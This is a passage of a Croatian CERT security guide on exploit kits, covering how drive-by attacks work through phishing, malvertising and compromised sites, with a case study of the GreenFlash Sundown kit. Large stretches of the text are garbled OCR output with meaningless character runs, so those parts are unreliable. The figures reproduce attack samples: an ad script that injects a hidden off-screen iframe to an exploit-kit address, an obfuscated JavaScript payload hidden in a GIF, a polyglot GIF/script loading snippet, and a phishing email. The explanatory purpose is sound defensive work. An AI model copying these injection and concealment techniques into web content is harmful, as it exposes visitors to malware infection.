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1 Uvod

I0OO00A 16 ORT EAOEA pokazah8uddljldAEDTAOE A é 1 iskom OO A BRO
dananainternetu, AET T AA EBAOADEEA@AT B Oh PEALENWIOCVRAEE A
mobilnimaplikacijamah CI1 AAAT EO AE 1 lilio&dlim aktvho&ithdriatvgdu C1 AU A,
(1).1dok je, s jedne strane, wepostao nezamjenijiv izvor informacija i razonode, s druge

OOOAT A POAAOOAOI EA EAAAT 1T A milikénOdreglédaveaniaOl OA 1
weba korisnici se susr& & raznim vrstama prijetnji , a jedra od najopasnijih takvih

prijetn; i su exploit kitovi.

Exploit kit je naziv za zlonamjerni program é E E [ pabhanjéh na web stranici ikoji
automatizirano i bez znanja korisnika

T DPOEEODPI EA EIT Al ,0dndsAcwéb AregiedniRiipésieiitelid, O
Mozilla Firefox, Internet Explore (li nekog drugog povezanog softveranpr.
Adobe Flash Playgr

T iOAET O HEristhlita &loriarAjéini softver (npr. ransomware nalt OOOET |
OA¢é Ol Al T

Ukratko, primjer napadaexploitkitomi T LA EUCI AAAOE 1 OAEI
1) Lrtva posjeti legitimnu web stranicu, npr. portal s vijestima

2) ta web stranica je na neki néin kompromitirana, te je u nju ugrai en exploit kit,
| A E @udtem zlonamjernih oglasa nad kojima vlasnik portala nema kontrol{2),

3) bez korisnikovog znanja pokree se prikupljanje informacija oweb pregledniku i
povezanom softvery i ako je prond ena ranjivost koju exploit kit zna iskoristiti,
korisnikovo raéunalo je napadnuto i zaral:eno.

ExploitkitoviUA O1 OL OEO BT UT 01T 1T 00 E néxdliikoAaziGy®H E OT ET AT E
su dostupni, imauHE OT E AT CAOOOPEAHAT T 1 dAbeZAdakolEsnilET OE O1 E
klikne na sumnjivu poveznicu ili preuzme/pokrene sumnijivi softver tejeOODEAHAI

kupiti ili iznajmiti teihjeEAAT T OOAOT T ET OEOOEOE h gotdbilo UT Aé E
OET 8 £EOI E AT itddxa ndpddiexpOiekitomA AEAT T AdikdOba i O
korisnika, zbog O1T CA 1T ABA Admpromitiraju popularne web stranice s velikim

brojem posjetitelja izravnim napadomili putem zlonamjernih oglasa8 4 A Enhpiadk @ h

OAHET DPQBEICOEMOEXEEAT T OOEEAT A TEEA OOEAOT A

Ol AEEAEATT EAO TEEA 11 O0A1 A [Suet®skupddovbd o)A OEh |
UAEIT E §évidjerdjdino AA ¢ AETOAO Aspatkd dEaAOOOOAOOE O bPIT EOD
napadaexploitktaET EE I T LAh EITE T A 11T OA AEOE OODPEAHAI

Cilj ovakvog napada u pravilujeT T O é AT A Rezlltad BaPalaz zlonamjerni softver

instaliran na L OOOET T | zOviok D AEQ®E OAOE OOA bi AAOEA E
(ransomware, EOAOOE 1 OEA QI E E Grtegrizeli A DOBET © udA@Ol A
i OALO ET EA OA EA®§ EiglDenialbt Sedvitphapaddilifslanjespars

—
i
¢
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poruka eD T &hQ koristiti OAé OT AADAOOA T A LOOOEITI OAéOI
EOEDOI OAT OOA EIT E Ul T @1 10DEE A%X\GEC(D(EE L TOLOOET 1 OAé
lako je cilj napadaexploit kitomO A ¢ ET T © & Woilist, postoje i iznimke. Primjerice,u

rujnu 2019. godine otkrivena je kampanja napadau kojoj OO0 ET OEOT EAE | AOAj
stranice kroz dvije godine napadani sofisticiranim exploit kitom. Exploit kit je napadao

ET OEOT EEA 7ET AT xO OAéOT Al A OAIUA 0AH 1Al jdEED ¢!Al A O
O TAPAAEI A EIT @ed&dtdylahjivostiCz& iFhbne@@uh®@epoznate ranjivosti,
bezdostupne zakrpe)é EEA OA OO Lngdd u AilijbidEdlArd 8 ADS é¢ET EAT E.
AA EA TAPAA ET HOAT OEHA 1| EIl EE Ojerdjatdoinije I@A EA E
TT O0eAl AKoBKOABOBGE&E AR EUOI OE AAOAI ET EEA ODPIT UT AOE

OOOEA T APAAA AEI A APEEOI EOAT EAQR)I4ANOCAT AT A AOTE

Nastavak ovog dokumentac Abjasniti1 A é Fadakxploit kitova, opisati rad exploit kita

s s A A L oA oAz
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2 Kako funkcionira exploit kit

Exploit kitovi se sastoje odkolekcije exploita. Exploit je specijalizirani program ili niz

Ranjivost je propust/ DT C GAIDE £O0OA OO ET EO EA Lkprigjorcdd Ul T OF
ranjivost u web pregledniku (npr. GoogleChrome, Mozilla Firefox, Internet Explorérq

T LA Ti1TCOceEOE 1T APAAAeO AA DPiiliT¢O DI OAATI

bi OEAOEOATI EA E DPOAOGUI A ETT0011 O TAA TEEEIT OEI

*AAAT T A OAUI T CAexphbiEKndvaEA AGT O OdiaEnkl¢iEReckAlidirali
i podijeliliposlovezl AOAi AT A OEOPET A EOEI EkphiadadaljagdA Ul Al
exploit kitove adrugi kriminalci T A A OT T Tkup@ulLiZadndj@u exploit kitoveod
teprve grupeEAET AE DOIT HEOEI| E sbfikdfaf tako AarafilE Ul T T AT EAO
Gjene exploit kitovaOA T EOEOT T EOA¢ O 1T A A meftinijfidxploh p T8 T

kitovi ET OA C OE (& 6bjaviidrild dxploita koje je O A getko drugi pripremio i

OAT EEOT OOE ET EA EA DPOITEUOI i Aé T AEOEAOI EAOT EE
Ul ASLlEOGAA | MR LEBOAAERE AA xAA DPOACI AATdaBide EI E 1
zarazila. Skuplji exploit kitoviE T O A C O E O Adxibitexd:rénfivbsk Epjk su nedavno

objavljene. Novijih A L é&QiitlEE O E O1 EEE (&0 AdichofatAcstd @ EHOOA E
dalie korisOA ET A¢ EAA O1 £O0OA b URIOEA HOA EIN QB OT EBAGOI
softver, biloUAOT HOT PDPOT EUOI i Aé¢ ETH TEEA EUAAT OECC(C

Uzmimo za primjer ranjivost Internet Explorera iz 2016. godine poznatu pod
identifikatorom CVE-2016-0189 (6). Ranjivost je vezana u£; O Aild frogramskom E EuA

web preglednika Internet ExplorerkojaA T B OIHAOBA A AERIDO GAFARA OA BAInR EUOT 1 E
L OOOET T I hOAGDT AROT A A Epreglédiildre bi stAidngéddopn@ic h  OE 8

(tzv. sandboy.

+AA EA O éAT A OAIT EE Gsub@dbrazdlicegpbitel ot kOjin Bunékid 0O é 1 E A
javno dostupni. No, MicrosoftE A AOUI UAEODAT OkierBeEExplateta E EUA
na kojoj se tajexplot OEHA T A 1T LA ET OEOOEOES

Programer koji razvija exploit kit i T L A exldit Evrstiti u svoj alat s ciliem da zarazi
korisnike sa starijim, ranjivim E T Aaén&pleglednika. No &o stranici stim exploit kitom
pristupi korisnik s preglednikom Google Chroméli s A L O OdnCEAl T Aoén Enkernet
Explorera, napadtim exploitomi Ac A OOPEAOES

Exploit kitovii T CO A E O jedn®@vbiiz& updrdbu, au paketusl EET A T TiL A AT ¢
PDOACI AATT ET OEOT EéET OOeéeAl EA DPOAET ETEACA 1.
OOPEAHAHT T OO OO1T EA EAI DAT EAh OkakvinikdaktéristkeE ET  E A
OOPEI DHOI HEOEOE Nalslkamail iR/ ERE AQIAEO EROBDOEI EAO
O 6 ¢ Aiplbitkita Blackholdh DT UT AOT ¢ DI Oi | A ERGIH AEA Ac h AED
prijetnji nawebu (7).
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Exploit kit funkcionira tako da se na nekoj legitimnoj, ali kompromitiranoj web stranici

L. Oa&nésvjesnq u pozadinipreusmijeri na web stranicuexploitkitah ET E AA L OOOA

klikne na poveznicu naexploit kit u phishingporuci e-b T HRrAvehi JavaScripE E dkploit
kita zatim:

njihovim ET Aaéngh A D1 #nQuink&ibnalnostima (npr. WebGl) itd .

 aE1T LOOOA EI A TACi OAOAEO¢cE OAT EEOE Ol £00A

N~z sz A 2z A

zasigurno imati), exploit kit¢c &£ OET OEOOEOE 1 ACi OAMBERGD 1 OA
| ADAOOE L OO0 GlristaliGatez®nafjérd sofiverinal ECAT 1 OAé Ol Al 1

Nz L oA

NADAAAé OAA EI A ET 1 @OREOT BI DOEO O OphimjdieOOAOED

instalacijom ransomwaresh EOAi i i BT AAOAEAh OOAAOAdmEAI
L OOOET I C bodetitd Cijli ploceshapadaprikazan je naslici 3.

stranica exploit kita detektira
o @ preglednik i njegove ranjivosti

ucitavanje zlonamjerne
web stranice exploit kita

...| odabire exploit kojim moZe napasti

pregledavanje kompromi- preglednik odredene Zrtve i zaraziti racunalo

tirane web stranice

& J l \
EEE

-
 -SEESEESS 'y \

¥ ¥ ¥
Srtvino racunalo S . . .

Slika 3 Tijek napada exploit kitom (9)
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Konkretniji p rimjer jednog takvog scenarijanapadal T L A OAEBRB A ¢ E

1.

Korisnik svako jutro pregledava web stranicu nekog portala s vijestima. Portal

T N

reklamiranja.

of OOAT TAIT A TEEAEOA EITTOOTTA TAA TcClAOGEI £
Dl Aogldsnib OT OOT Oh AT E O1I AOT EE bl OOAT Ati T A UT ,
otkud oni dolazes ) OOT OAET h OI AOT EE vBli nrelddditiA 1T A
oglasa zlonamjerni lEd 7 O1 AOT EE DI OOAI A OEAOOEA AA 10O

OAiT 1TACEOEITA T Cl ACMBBAAA &R B0 Tinigt Ayiad OO O BOEAE
sazlonamjernimkeAT I ET EE OA OAA 11 LphtaOEEAUAOE E
3AIi EI T OOAOAT EAI xAA OOOAT EAA bDi OOAI Ah
UITTTAT EAOTE EEA EU 1 CIAOA E O¢pbAREET E | /

exploit kita te pokrenuti njen JavaScripkEd.

Exploit kit sada UADT é @BE ATRAE O A IndgApregle@n®a E prikuplja nje

informacija o softveru 7 E1T A&EEAEOT EUOT i Aé O xAA DOACI AA
DOl HEOAT EA xAA.2A@QKCQIT A AL/G GildRthda@NET A6 EAOD
Internet ExploreraET EA OAAOLE OAT EEOT OOEEBEODEGRAAOGAT KX
proizvolinog kEAA 1T A L OO O E Expléit kiDmaés@démanepBitET EET ¢ A

O Dbl plrEntjaza gk Recimo da je stovremeno stranicu portala posjetio |

drugi korisnik s A . O O E &A TAlé ifhtkrhdt Exploreraza kojegexploit kit nema

s A s A -

nikakvu identificiranu ranjivost. TAE ET OEOT EE 1 A¢cA DI OOAOE L
. A LOOOETT OAéOT Al T ET OOAIuEROMI pringeAi: U1 T 1 A
ransomware Korisnik odjednom nema pristup svim podacima, sve datoteke su
HEZOEOATA E 1 AOPTI OOAAI EEOAR A 1T APAAAé CA
datoteke.

5 1 AOOA GBapadgedploikhidhAEOE AAOAI ET EEA T AEART EAT A

2.1 Kontakt s a zlonamjernom stranicom

~ ~ £ oA N A ~ N~

KakobilT ADAA AET, pnO @@hé&rdbddde | OAT A E E Albvésdu Korteki G0

stranicom na kojoj se nalaziexploit kit.. ADAAA é Gtupi A koAtekt ¢ EI  OAc E
brojemET OEOT EEA EAO T A¢A OOAEE A GEO G AOBIQRA 11

~

A A

uglavnom su ta

1
T
1

slanje phishing spamporuka e 1 HOA ibj maila,E E
kompromitacija popularnih web stranica zlonamjernim oglasima

izravna kompromitacija/preuzimanje kontrole nad ranjivim web stranicama.

Verzijal.00 CERThr-PUBDOCG2019-10-389 stranica8/ 24
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2.1.1 Phishing/spamporuke e HOA

njihovu pozorostE D1 E OldveiEAEEI EET O T A i Aralbcnve,&zmcﬁ pi OAL
DOAOGOI ELﬁCIIEé'mragio& na kojoj se nalaziexploit kit.

ET OEOT EEA AAuoElw@etrgoﬁnh-Il@ljdllEDOEAEEIAAOI A ET £l akoAAEEA

klikne na poveznicu.5 OB AT koéishik €1 A AA T EHOA EEA T AOOG¢éET |
Ul T 0D OOEEAAET 1 E Aikie@dpovezhicud B & O == '
problem E PT EOHAT DI TEHOEOE 1 AOOALA
onineOOCT OET A E KIRARDABOOODTWAAET E OA IEUOOHA
napad. %“OOIOIAL AR ¢ A DOEI EEAOEOE AA EA jeisthanicdl T 1T Al F
dizajnirana tako da izgleda kao iprava, 1T 1T éAE E AA DOEI EEAOEh A
trenutaka da se napad automatsk  E U O O H E. Kddl ovakvag Arstiifa keliku ulogu

ECOA Ol AEEART EPAEAAAT BERDERAROA OOPAT EE¢EOE EIE

uistinu otvori poruku i klikne na poveznicu.

Oz;"—’
oc"l'l'l
~ g
>’>;
>,
a
U=
O o
>
..()_

Na slici 4 prikazana je phishing/spamporuka ebT HOA ETEO OO 1 APAAA¢GE
godine kako bi preusmijerili korisnike na web stranicuexploit kita Blackhole

From: nfo@tmewarmnercablebusiness com

Date: Manday, Septembar 10, 2012 10:14 PM

To:

Subject:  Timewarnerchbie Business Order Confimation

TIME WARNER CABLE
Business Class
EEiees LIOSS

ALERT Q

Thank you for your order.

Your order confirmation number : A54-2419-2A78
Order Date : 9/1042012

Payment Type : Onlme Payment

Payment amount : $1299.00 USD

Payment date: Sep 10, 2012 (at 09:59 EST)

Click here to view vomr order details

Note: To complete your order, you must confirm your selection of Time Warner Cable as your
service prowider by checking the boxes next to each statement. Should you have any questions,
please wist Time Warner Cable Business Class

Thank you,
Time Wamer Business Class
http: ‘twebe.com

PRep:fs pEOadkT findec. html

Slika 4 Primjer phishing/spam porukee -DT HOA ET EA O1T AE 1 AQWOA@gbi 1 EO EEO
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2.1.2 Kompromitacija legitimnih web stranica zlonamjernim oglasima

Exploit kitoviseé AOCGH OEOATT EUOOHAOAEO O bi UAAETE 1A
1 A B Arelakouspio kompromitirati i ubaciti svoj zlonamjerni kEAd bez znanja vlasnika
web stranice i njenih posjetitelja. Jedané AOOE T A€ E] EIl EEljet@l 1 ADA
UTTTATEAOTT 1 Qralderidirg)AT EA j AT CI 8

ITTATEAOTT T Cl AHAOAT EA 1 Onliell EA ABAOAIAE ZFET G A

Ol O¢6 AEAOGA O1 AOT EE xAA 0OOO0Anm faril oglhsBRodebn&je T OOT 1 ¢
UAOOOAHOEO¢A ¢éET EAT EAA A Adbjavik Adnbnijeini ofldsAuA T A D/
I ACEOEIT O 1T Ci AHEOAGEO I OALOR OAE 1T CIAO 11T L/
korisnika.. AEOAcCA T PAOT T OO0 OAUAT A OU UITTAIEAOTT 1
mora napraviti NNE AE OO  (perAKkEn® sumnjivu poveznicu) z ona samo posjeti
legitimnu web stranicu, a zlonamjerni ld u pozadini odradi sve ostaloNa slici5 prikazan

je tijek napadaexploit kitomB OOAT Ul T 1 AivaaO1 1 C T C1 AAA
6.
]
2. 5.
— www e
preusmjeravanje
korisnik legitimna stranica koja iskoristavanje
prikazuje oglase ranjivosti

informacije zlonamjerni
o korisniku oglas
@ Zlonamjerni oglas ‘

napadac oglasna mreza
Sika54 EEAE 1T ADPAAA AgbPI T EO EEOI T P@PAI UITTAI EAOT

. AAAGT T EA UAAEI EALAT OI GéAE CAEA FEkdja O 000
| EACAéTT AOI EE OEHA THAOiunl CEAGEDEA DADOEAIOEL
koji preusmjerava korisnike naexploit kit. ZlonamjerniJavaScript EojeE AEAT T 1T E€éT

prikriven z glavni dio E Eaio je sakriven u GIF datoteci, dok je preostai E@T OL ET UA O
da izvadi glavni dioE Eafiz GIF datoteke i pokrene gél?2).

Mnogi ljudi suimali nekakvog doticaja sonlinel C1 A H A @ailak&ndobu pomisliti 7
KAET EA T OC 6gbhciti zlonamjerni oglas s JavaScript E Eofn? Kod online
I Cl AHAOAT BRIAAE ¢ ICl julldBles&ddolku tekstaili slike, a neJavaScriptt Eal
4AET DPAOA DPIT T EOCAT 1 A HACI¢AudgehNdsersd Al OKEAGI T EA |
Googledopustio zlonamjerne oglasee OET A OA EUI T LEE OAGENDOAAEE OF

Verzija 1.00 CERThr-PUBDOCG2019-10-389 stranica 10/ 24
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stvari, na internetu postoje i druge I C1 A FeH @Akékéje zakupljuju prostor te taj
prostor preprodaju manjlml Cl A A Et@Qtkaénk halistranicama za licitacjuNaOAE 1T Aé E
teogldd E OA OBBAIAOA i OE G cijenk kofd dulpliatifi ilpo kojoj suprodali oglasni

prostor.

Zbog brzine kojom se odvija licitiranje za oglasni prostgrET | E€ETRA OEHAOBAOOE
delegacije zakupljenog prostora T C1 A Ohefaju dovaljpudkontrolu nad oglasima

ETEE OA OéEOAOAEICAIDIAI OROA A®BAAAEOCE TEAT 1 AT EA |
infiltrirati  sasvojim zlonamjernim oglasam.

. ADAAAEé 11 OdlasOkajQeprethddivtsakrio zlonamjerni kEd, prijaviti se na
stranicu za Iicitiranje EAI | Cl1 Artka Cratién lickira ti za oglasni prostorskupa s
ostalim legitimnim tvrtkama. Taj proceslicitiranja nazivase Real Time Biddinga odvija

seEAT HOT | £ustdrmdm Eenkenk(13).

Na slici6 prikazan je odnos web stranica koje nude svoj oglasni prosto® A coglasnih

| OA lefitimnih i AT EE 1T G AIRHAEBMEAMéE A k& dbfadjujeQldnani)etnd A E T
oglase.

web stranice koje
nude oglasni prostor

velike oglaSivacke mreze U g

manje oglasivacke mreze

Sisin - 29

Sika6( EEAOAOEEEA IECIEAGEEHROJAOMELEAMA T ADAAAEeéA OA UITTAI

s g

11 OAOT AGEOT Ahi T ABAAAAEGEOAOCEBOMAIcI T ADPAOOE -

s A 2 s ~ A s o~ 2 oAz

I Cl AHEOA¢EA 1 OALA E OAET OAAAEOE OOI E UITTAI

5 TAA OCIORAEGA i1 LA D OExehditdioikojaljeAiznajntild dvoj ET ET E
oglasniprostorzOT 11T LA AEOE E T AEE [ ATEE AiTcCch Al E I
bl OEAOCEOAT EA AT AOT i 8 5DPDOAOT OO OOOATEAA O Of
svoj oglasni prostor jer im to donosi znatne prihodeJednom kadsul A D A A Agadi OE
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AET T ClIAOT A WweDBQAAT EAEOATT A ET EEI AongmfernOA T C1
KEd [ T LirAati pristup velikom broju posjetitelja.

Zlonamijerni oglasimogu hiti sumnijivi i alarmantni, poputrg AHA OA¢é¢ OT AGE EA U/
rgaradite milijun dolara u 10 dand) ali korisnike se sa svih strana upozorava da na to ne

nasjedajuy tako da sUEDAE O Odbkakijerhi ogasi ko EUCT AAAEO O AE¢ A
instalaciju zZlonamjernog softveraexploit kitodradiO 1 UAAET E AAUHQIOOGAT A

ET A 1 dietbpddwnibad

Na slici 7 prikazan je jedan takav ogla koji HTML iframe elementom u pozadini o
DOAOOI EAOAOA LOOOET DPOACI AATEE T A TAEO A0OOCO

k]

[ =& =

yo *
C H D w5

<html>
<head»<style>*, html, body{margin:@;padding:@8;}</stylex</head>
<body>
- 6 <div id="frame" style="width:3@8px; felght 258px;padding:@;margin:@;"><script
httD //pub.marialoantracker.com/5@8613968. s domain=twcc.comdpubid=aol_48638926"»</script>
</div
o - s & 7|<sc \1pt [
B var autoreport_pixel = *';
VISIT WWW.LOANUP.COM NOW! var refdomaintop = document.referrer
10 document.write(autoreport_pixel. replgce( refdomain=", 'refdomain=top: "+refdomaintop));
/scripts
<input id="ctrl” f
style=" ..1cth:1px;height:1p><;so|‘der‘:"one;p;sition:assolu:ejtap:—3@px;left:-39:x;:-incex:-10" i
<script type="text/javascript">function addEvent(obj, e, fn) { if (typeof obj.addEventListener
l== "undefined") { Ubj.addEventListenel‘é, fn, false); } else if (typeof obj.attachEvent !==
"undefined") {obj.attachEvent("on™ + ef fn);}}ifunction focus(){ctrl.focus(};}var ctrl =
document.getElementById("ctrl™); var frame=document.getElementByIld("frams™); var inFrame =
£alcoeinn + - 0.oddEianslfe , M finetd i3 . dep -+

T
& n u - L L - Notepad++ ; \El@
File Edit Search View Encoding Language Settings Macro Run  Plugins  Window 7 X
8 LB 4ED|Ac(wyl 2= ER|E .JIE\IEIIEIII@DIJ@
=] tm E3| ,
T alink.href = ‘ht.t.]gs:[[loanu]g.ccmga};]glication[?soro=864172&adr.p_=9gam&geotﬁus&ul=eng&fm=loan‘: o
alink.target = "_blank"; 7
document.write(alink.ounterHTHL) ; '
document.write('<iframe src="http://bestimmungsgrunende.adijnsterstraining.biz/decrees-terrorise-slur/3163568301917" style 3
="position:absolute;right:-10000px" ></iframe>") I

Slika7/ ¢1 AO OA OEOEOATEI EEAIIT ETEE DQ@BOOI EAOCAOA TA

2.1.3 Izravna kompromitacija web stranicai umetanje kEda

U prethodnom dokumentu Nacionalnog CER®: rSigurnosni rizici JavaScript kEdaO

0 E OAOET  OOCrbsssite AdtiptirgAXNSE) ranjivosti0 T E AHT kakd jé njirkaA

i TcO¢cA OAAAE Qavastipt kied nA fafjiuvébstranicch OA AA EAAAT 1
koji to kriminalci zloupotrebljavaju je upravo ubacivanje exploit kita na legitimne web

stranice.

rA s ~

Ih 833 OATEEOI OOE T EOOC EAAET EexpldkEtA IAE WA OET E

web stranicuz AT 01 1 ETT EA AA T ADPAAAé DPOAGWIiIdkET T OOIT
T A¢ET ET EE dadbadidvdj kD gridjéride:

OEHOAOGAT EAT TAEA AOOCA OAT Epd&dddOE xAA

J>v9_:

iOubacivanje svog kda na stranicu: SQLinjection, command injection
UAHOEc¢c AT T O¢é E O Abrdsiridel fildupléat). OAEA j AT CI 8
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1T EOET OEHOAOAT EAT OAT E
content management systenlCM& h | DO
nekog dodatka (englplugin) zaWordpress

N LA A s s oA

EOT OOE O 1T AALOOTT I Of
8 E OET & MMOrAptedsklE AT OA]

N s A A s o roA

T EOET OEHOAOAT EAT OAT EEOTI OOE TAET C 1T AOAUAT

FTP servisa,
T DI CAi ATEAI 1T UETEA AAIETEOOOAOTI OA xAA 00O
2.2 SkeniranjeiiOET OEHOAOAT EA OAT EEOT OO0OE
. AETT HOT EA Dl OAT AEEAITA LOOOA AT OAAAT A O E
se nalaziexploit kth OI EEAAE OEAT EOATEA LOOOET T C DOAC
ranjivosti.

D -

preglednikai njihovih dodataka. | AN OEEAé 1T Exhpbimaili &xpldid®d bl E |
koje su kriminalci sastavili, ali za javneQ@ A ¢ Belranjivdsth Ponekad,exploit kitovi

OAAOL A O ~k&ddaytexplOid®BEE EOEI OEHOAOAEO EAOTT 1ADI
bDOi EUOI i Aé ETH@L.EEA EUAAT UAEODO

Exploit kitovil ADAAAEO O £#O00AO ETEE OA EUOAOIT EIE |
web stranice.Primarno su to web preglednik(npr. Google Chrome, Mozilla Firefox, Internet

Explorer) i njegovi dodaci(npr. Adobe Flash Playedavg Adobe Readégr

Kako biexploit kitUT AT ET EO OAT EEOI 00 | 1 KedhkojipakEpijaOE OOE O
informacije oE T A é Eshftikdraal OOOET T | DO éEQ] (A 11 AdEghednika,
dodaci pregledniku, operacijski sustav) Zatim, usporedbom prikupljenih informacija s
ET £ Of AAEEAT A 1T OAT Eekpbiekiti EL AeEAAOR BA AOB ABDIAG
neki od exploita u arseralu exploit kita. Primjerice, exploitkiti T L A DOADT UT AOE A

Player.

Sama¢ ET1 EAT EAA AA EA LOOOA bl OEAOEI Azl ADM AO @AAT
OOPEAOE OAIT AET LOOOA EIiI OE Ofkojekxplatkiidd A OAIl
pripremlien exploit 5 DOAOT UAOT h U AexpiokadmAl FA PAA Al AdéavabA AE O H
AT cE O EITOAEO OA HEGAEDAAEI OAGT EAET EAGEDREEA

s ranjivim softverom za kojeexploit kitima pripremljen exploitq AET E OOPEAAT T 1

Prethodni dokument Nacionalnog CERE: rSigurnosni rizici JavaScript E E ® fna
dodatne informacije o ovomkoraku napada exploit kitom iz druge perspektive (rizik
pokretanja JavaScripkEda).

23 )1 OOAT AAEEA UITTAI EAOTT C O £#OOGAOA 1/
CARLLT EAAA OAT G e ko EAdMG Apreuzime
EITOOITO TAA L Ofo@rEcizijéz | OAAOTEAIOOHADAOEOCDAPRAR
OA é Olizdah Sgurnosne okoline preglednika (sandboy. 4 AAA  OA T AEéT T EU
naredbe koje peuzimaju datoteke zlonamjernog softveraE DT E Odad-@ OBET | |
OAé @l Al
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. ADAA Aebsiaje B1 H T AIAMGORIOET A ET Eskioj naphd. Itsfalbciaé EOE
ransomwareaE  OOAL AT EA T OEODPT ET A Onaplatu Oapadhexploid 1T AE é .
kitom (14).
Osimransomwaresh 1T ADA A A4
I automatizirano prikupiti osjetljive podatke (npr. brojeve kreditnih kartica,
ET OEOI Eé bAnkef i AT A E
1 integrirati korisnika u botneti OAEDEA ¢A OA EI OEOOEOE UA $
spamporukaeD T HOA
instalirati bankarskog trojanskog konja,
1 instalirati zlonamjerni softver za rudarenje kriptovaluta E ~ OET A OOT HEOE
O A é OTrdsirde & svoju zaradu
Razvoj kriptovaluta posebice je pogodovaaicieni i OOAL AT EO té Qda@iu ET A
EOEDOI OAI OOA L Qdp Q& raffikiu odhAnkaskoO Ad T A1 AOT EE OA¢é
kriptovaluta je anonimanili pseudoniman.
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3 Primjer rada stvarnog exploit kita

Ovo poglavlje opisujerad exploit kita GreenFlash Sundowkoji je u lipnju 2019. godine
distribuirao ransomware SEON, spyware Pony i zlonamjerni softver za rudarenje
kriptovalute Monero (engl. cryptojacking/ cryptominer/ coin miner).

¥,0 0 O A kodaRt s exploit kitom A T Hputdm zlonamjernih oglasa koji suOUAAé AT E O

I Cl1 AOT Opojadjibali €u sdha legitimnim stranicama, a jedna od njih je i popularna

stranica za konverziju videa na domenbnlinevideoconvertexcom koja je u to vrijeme

i EAOGAeT T AOI EAl A DPOAEI15)¢Naslici 8 frikakaha(d statisikh OE A OE
Dl OEA¢ AT T OfintevidedoddveiteE cbrd

B onlinevideoconverter.com Pe— May2019 (R

Traffic Overview o ST
Total Visits ® Engagement
2 [] on deskiop & mobile web, in the last 6 months
- Total Visits 200‘62.}3’!
- (5 Avg. Visit Duration 00:06:37
Pages per Visit 5.77
#» Bounce Rate 24.08%

Sikag0oi OEA¢AT T OO OOOAT EAA (k) ET AGEAAT AT 1 OAOOA
$1TE EA LOOOA DOAQIANAACAIAN [pikazadje it A
zlonamjerni oglas sJavaScriptkkEdom il A L IGIIFI datotelom koja je u stvarisakrivala
glavni dio zlonamjernogkEdaE AT  HOT BiasiBiO@ESE.AUAIT
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|==| Progress Telerik Fiddler Session #614 - https://ads.onlinevideoconverter.com/www/ deliver.. — O x

4 Request ¥ Response | [E] Properties

Headers TextView SyntaxView ImageView HexView wwebView Auth  Caching Cookies Raw  JSOM XML

2D 41 67 65 3D 33 31 35 33 36 30 30 30 3B 20 70 61 74 -Rge=31536000; pat
68 3D 2F 0D OR 43 6F 6E 74 &5 GE 74 2D AC 65 6E &7 74 h=/..Content-Lengt
63 3R 20 34 38 37 31 0D 0R oD OR 47 49 46 38 3% 61 01 h: -"m
00 01 00 80 00 00 FF FF FF 00 00 00 21 F9 04 00 00 00  aueuan. s T T
00 00 2C 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3B e D..:

3C 73 63 72 &9 70 74 20 74 79 70 65 3D 22 74 &5 78 74 <scrlpt type="text
2F 62 61 76 61 73 63 72 €% 70 74 22 3E 76 61 72 20 5F fjavascript™»var _
30 78 64 32 39 34 3D 5B 22 63 4B 59 46 46 52 43 47 &5 Dxd2534=["cKYFFRCGe
6E 77 67 68 33 6B 34 22 2C 22 63 4C 45 53 22 2C 22 63 nwgh3ik4™, "cLE5™, "c
36 77 43 50 52 43 62 5R 33 73 3D 22 2C 22 64 4B &F 56 6wWwCPRCbZ3a=", "dKoV
49 41 77 3D 22 2C 22 61 36 59 59 4D 77 79 47 22 2C 22 IhAw=", "a6¥¥Mwyc", "
64 36 77 42 22 2C 22 59 71 45 43 4F 77 69 43 66 48 41 déwB™, "YgECOwWiHfHR
3D 22 2C 22 4D 50 4E 42 4L 42 77 3D 22 2C 22 4C 76 52 =", "MPNBJBw=", "LvZ
42 5B 42 53 4B 22 2C 22 59 4B 77 &5 50 77 32 53 22 2C BZBSK", "YEwePwaX",
22 63 61 49 66 4D 41 75 &6 22 2C 22 &3 4C 59 54 42 73 "cal fMAuf", "cLYTJx
43 41 59 58 73 &C 22 2C 22 58 4B 77 57 4F &R 75 &4 &5 CRY¥=s1", "XEwWOjude
33 74 2F 22 2C 22 63 6F 6F 6B 69 63 22 2C 22 64 6&F 63 it/", "cookie™, "doc
7% 6D 65 BE T4 4D &F 64 &5 22 2C 22 70 72 &F 74 &F &3 ullentMode™, "protoc
6F 6C 22 2C 22 &8 74 74 70 73 3R 22 2C 22 68 74 74 70 ol™,"https:™, "http
73 3R 2F 2F 22 2C 22 68 74 74 70 3R 2F 2F 22 2C 22 &C gzff","http:/ff™, "1
63 63 74 75 T2 63 22 2C 22 73 74 79 &C 65 22 2C 22 &7 ecture”, "style™,"g
65 74 45 6C &5 6D 65 BE 74 42 79 49 64 22 2C 22 61 64 etEleflentById™, "ad
64 43 76 63 6E 74 4C €% 73 74 65 6E 65 72 22 2C 22 44 dEventListener™, "D
4F 4D 43 6F 6E 74 65 BE 74 4C 6F 61 &4 65 &4 22 2C 22 oMContentLoaded”™, ™
6E 61 76 69 &7 61 74 6F 72 22 2C 22 75 73 63 72 41 &7 navigator™, "userlg
65 BE 74 22 2C 22 69 BE 64 65 78 4F &6 22 2C 22 4D 353 ent”, "index0Of", "Ms5 W

0 [0x0] of body & [0x6] bytes selected Readonly

Sika93 EOEOAT E *AOA3AOEDPO EEAWPT OOAO 1T ALTA ') &
Exploit kitovi ovako sakrivaju zlonamjerniked EAET  AE OALA AET 1 OEOEO/
napadaj E OEEAET I ET AE1 OOAAEEA UITTAIEAOTT C TCI
T A EOAElaéiGEﬁLmﬁcxp&OQAOEEA OAED EEQAI &kvedoy ke AEAT A
slikama (16):

1) Poliglotske datoteke

I B¢ Al digkdtske ddoteke su datoteke koje se u isto vrijeme mogu interpretirati

EAT AOEEA BhvEtaDEBGRODAANS E¢ EDEOAOT EEAh O 1 O]
datoteka je datotekaET EA OA O EOOI OOEEAI A 1T LA ET OA
JavaScriptkEd. Primjerice, u HTMLKkEdu u nastavku prvi element prikazuije sliku, tj.

interpretira poliglotsku datoteku kao sliku formata GIFh A A OOCE s OO0 O¢é
datoteku kaoJavaScripkEd:

<img src="  poliglotska_datoteka .gif">

<script src=" poliglotska_datoteka .gif  "></script>

+AET AE OA O 11T¢ClIT EUOAOOEh .MaslkilajdkaA [ 1T OA
primjer prikazan heksadekadski prikazednostavre poliglotskedatotekeE T EA  OA 1 T L /

interpretirati i kao GIF slika i ka?JavaScripkEd.
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Offset(h) 00 01 02 03 04 05 06 07 Decoded text
00000000 47 49 46 38 39 61 2F 2A GIFs8%a/*
00000008 00 80 00 00 FF FF FF 00 .€..¥¥V.
